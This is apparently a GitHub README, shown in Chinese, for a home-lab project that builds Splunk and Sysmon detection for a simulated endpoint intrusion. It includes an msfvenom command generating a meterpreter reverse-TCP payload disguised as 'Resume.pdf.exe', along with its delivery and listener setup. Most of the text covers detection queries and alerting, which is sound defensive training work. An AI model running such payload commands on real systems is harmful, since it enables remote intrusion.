Muhammad-Hashir-9/Splunk-Sysmon-Detection-Lab
GitHub: Muhammad-Hashir-9/Splunk-Sysmon-Detection-Lab
一个家庭实验室项目,通过模拟终端入侵攻击链并构建 Splunk + Sysmon 检测管道,演示 SOC 检测工程师从攻击模拟到实时告警验证的完整闭环。
Stars: 0 | Forks: 0
# 家庭实验室检测工程与攻击模拟
## 项目概述
本项目记录了一个隔离的家庭实验室,旨在模拟终端入侵并围绕它构建一个可用的检测 pipeline。在仅限内部通信的网络上,配置了一台 Windows 10 受害者虚拟机和一台 Kali Linux 攻击者虚拟机。生成、投递并执行了针对受害者的 reverse shell payload,使用 Sysmon 捕获终端遥测数据,并利用 Splunk 检测该活动并触发实时警报。
目标是走完一个 SOC/检测工程师工作的完整闭环:模拟 → 记录 → 检测 → 警报 → 验证。
## 实验室架构与拓扑
- **攻击者节点**:Kali Linux — `192.168.20.11`
- **受害者终端**:Windows 10 — `192.168.20.10`
- **Hypervisor**:Oracle VM VirtualBox,仅限内部网络(无外部路由,与宿主机/互联网隔离)
- **日志记录 / 检测栈**:Splunk Enterprise(本地安装在受害者虚拟机上)+ Microsoft Sysmon + Splunk Add-on for Sysmon(用于字段提取和解析)

```
flowchart LR
A[msfvenom: generate Resume.pdf.exe payload] --> B[Host payload on Kali local server]
B --> C[Download payload to Windows victim]
C --> D[msfconsole: start listener]
D --> E[Payload executed on victim]
E --> F[Reverse shell caught in Kali]
F --> G[Post-exploitation commands run]
G --> H[Sysmon logs process creation - Event ID 1]
H --> I[Splunk indexes log via Add-on for Sysmon]
I --> J[SPL search surfaces parent/child process lineage]
J --> K[Real-time alert rule fires]
K --> L[Verified via Splunk, netstat, and Task Manager]
```
## 技术实现
### 1. 终端日志设置
Splunk Enterprise 直接安装在 Windows 受害者虚拟机上。Sysmon 已安装并完成配置,通过修改其日志记录配置 (`inputs.conf`) 来捕获进程创建及相关事件。安装了 **Splunk Add-on for Sysmon** 以正确解析并提取原始的 Sysmon XML 事件(映射 `parent_process_name`、`process_exec`、`CommandLine` 等字段),而不是让它们保持未解析的 XML 状态。
### 2. 威胁模拟与攻击链
- **Payload 生成**:使用 `msfvenom` 生成 `windows/x64/meterpreter_reverse_tcp` payload,并将其命名为 `Resume.pdf.exe`,以模拟伪装的钓鱼文件。
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.20.11 lport=4444 -f exe -o Resume.pdf.exe

- **投递**:将 payload 托管在 Kali 攻击者虚拟机的本地 Python HTTP 服务器上(`python -m http.server 9999`),并将其下载到 Windows 受害者虚拟机上。


- **执行与处理**:使用 `msfconsole` 设置 listener(`exploit/multi/handler`,LHOST 为 `192.168.20.11`,LPORT 为 `4444`)。在受害者上执行 payload 后,在 Kali 攻击者机器上成功获取了一个 reverse shell。

- **权限维持后的操作**:从生成的 shell 中运行基本的侦测命令(`whoami`、`ipconfig`、`net user`)。

### 3. 检测与验证
入侵通过多个独立来源进行了验证,而不仅仅是依靠 SIEM:
- **Splunk**:通过已索引的 Sysmon 日志确认了恶意进程链。
- **netstat**:在 OS 层面确认了从受害者到攻击者的活动出站连接(`netstat -ano` 显示了指向攻击者投递端口 `9999` 和 C2 端口 `4444` 的 `ESTABLISHED` 连接)。
- **任务管理器**:确认 `Resume.pdf.exe` 作为活跃进程在受害者用户账户下运行。

### 4. Splunk 检测工程
**进程血统搜索(通过 ProcessGuid 关联):**
```
index=endpoint {ProcessGuid}
| table _time, ParentImage, Image, CommandLine
```

**实时警报规则** —— 当伪装成 PDF 的进程生成命令 shell 或 PowerShell 作为子进程时触发:
```
index=endpoint sourcetype=XmlWinEventLog:Sysmon EventCode=1
ParentCommandLine="*.pdf.exe*" (Image="*cmd.exe" OR Image="*powershell.exe*")
```
此警报(“通过钓鱼 Payload 生成的可疑进程”)被配置为实时、逐结果触发的高严重性警报,并通过多次重新运行攻击链进行了验证,确认其每次都能正确触发。


## 关键要点
- 构建并验证了完整的端到端检测闭环:攻击模拟 → 遥测数据捕获 → SIEM 接入 → 检测逻辑 → 警报 → 验证。
- 学会了关联 Sysmon 的进程血统字段(`ParentCommandLine`、`Image`、`ProcessGuid`),从而将生成的子进程追溯至其原始(恶意)父进程。
- 实践了跨多个数据源(SIEM + OS 原生工具)验证发现,而不是仅依赖单一工具。
## 结论
该实验室设置是在遵循指导性家庭实验室教程的基础上构建的,用于初始环境和攻击模拟。检测警报(SPL 查询设计、实时警报配置和验证测试)是作为教程之外的延伸,独立设计并实施的。
标签:Go语言工具, Sysmon, 安全运营, 扫描框架, 攻击模拟, 驱动签名利用